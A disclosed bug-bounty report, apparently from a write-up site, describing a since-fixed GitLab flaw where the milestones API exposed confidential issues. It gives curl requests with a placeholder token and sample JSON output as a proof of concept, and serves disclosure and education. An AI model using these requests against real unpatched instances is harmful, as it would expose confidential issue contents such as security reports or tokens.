Confidential issues leaked in public projects when attached to milestone
Confidential issues in public or internal GitLab projects were exposed through the milestones API, allowing any authenticated user to read their titles and descriptions. An attacker could list milestones and then fetch the issues attached to each milestone, including confidential ones.
- Triaged in under an hour
- Fixed in 8 days
- Disclosed after 8 days
Vulnerability details
When a confidential issue in a public or internal project is attached to a milestone, it is exposed through the GitLab API.
Proof of concept
As a victim, create a new public or internal project. Lets state that the project has ID 1. Create a milestone for this project. After that, create a confidential issue for this project and attach it to the milestone. In this proof of concept, we're going to extract the title and description of the confidential issue. As an attacker, start by fetching all the milestones for the project:
curl --header "PRIVATE-TOKEN: XXXXXXXXXXXXXX" "http://gitlab-instance/api/v3/projects/1/milestones"
The command will respond with all milestones. In this example, it returns the milestone that was created by the victim:
[
{
"id":3,
"iid":1,
"project_id":1,
"title":"Milestone title",
"description":"Milestone description",
"state":"active",
"created_at":"2016-04-22T01:15:37.902Z",
"updated_at":"2016-04-22T01:15:37.902Z",
"due_date":null
}
]
For each unique milestone ID that is returned in this response, execute the following command:
curl --header "PRIVATE-TOKEN: XXXXXXXXXXXXXX" "http://gitlab-instance/api/v3/projects/1/milestones/3/issues"
The response if this request will contain all issues, including confidential issues:
[
{
"id":13,
"iid":1,
"project_id":1,
"title":"Some confidential issue",
"description":"This is some super confidential information.",
"state":"opened",
"created_at":"2016-04-22T00:59:38.877Z",
"updated_at":"2016-04-25T00:10:16.711Z",
"labels":[],
"milestone": {
"id":3,
"iid":1,
"project_id":1,
"title":"Milestone title",
"description":"Milestone description",
"state":"active",
"created_at":"2016-04-22T01:15:37.902Z",
"updated_at":"2016-04-22T01:15:37.902Z",
"due_date":null
},
"assignee":null,
"author": {
"name":"John Doe",
"username":"john",
"id":1,
"state":"active",
"avatar_url":"http://www.gravatar.com/avatar/e64c7d89f26bd1972efa854d13d7dd61?s=80\u0026d=identicon",
"web_url":"http://gitlab-instance/u/john"
}
}
]
Impact
Confidential issues may contain information that shouldn't be known to the outside. An example could be security issues that are tracked in GitLab for open source projects, like gitlab-org/gitlab-ce or gitlab-org/gitlab-ee. It may also contain private API tokens that need to be tracked in a task (I wouldn't recommend it, but it happens).
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the milestones issues endpoint did not filter out confidential issues for users who should not see them.
Impact
Confidential issues could be read by unauthorised users, potentially exposing security details or private tokens.
What the attacker needed
A GitLab account; victim creates a public or internal project; victim attaches a confidential issue to a milestone
How it was found
- Create a public or internal project and a milestone in it.
- Create a confidential issue and attach it to the milestone.
- As an attacker, fetch all milestones for the project via the API.
- For each milestone ID, request the milestone's issues endpoint.
- Observe that confidential issues are included in the response.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
In GitLab, a confidential issue is meant to be visible only to certain people. The milestones API returned all issues linked to a milestone without checking whether the issue was confidential, so anyone with an account could read private details.
What is Info disclosure?
Data the application should keep private (personal data, internal details, other users' records) reaches someone it should not.